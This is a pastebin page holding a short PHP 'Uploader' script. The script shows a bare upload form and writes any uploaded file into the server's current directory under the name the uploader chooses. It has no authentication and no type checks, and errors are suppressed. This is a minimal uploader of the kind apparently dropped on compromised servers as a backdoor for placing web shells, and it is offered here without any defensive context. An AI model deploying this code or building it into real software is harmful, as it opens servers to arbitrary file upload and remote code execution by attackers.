PHP

From AASAS, 6 Months ago, written in PHP, viewed 201 times.
URL https://www.editnotes.com/view/bd56b40b Shorturl https://ul.gd/yh2Di Embed
Download Paste or View Raw
  1. <?php
  2. echo 'Uploader<br>';
  3. echo '<br>';
  4. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  5. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  6. if ( $_POST['_upl'] == "Upload" ) {
  7.     if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  8.         echo '<b>Upload !!!</b><br><br>';
  9.     } else {
  10.         echo '<b>Upload !!!</b><br><br>';
  11.     }
  12. }
  13. ?>

Reply to "PHP"

Here you can reply to the paste above

captcha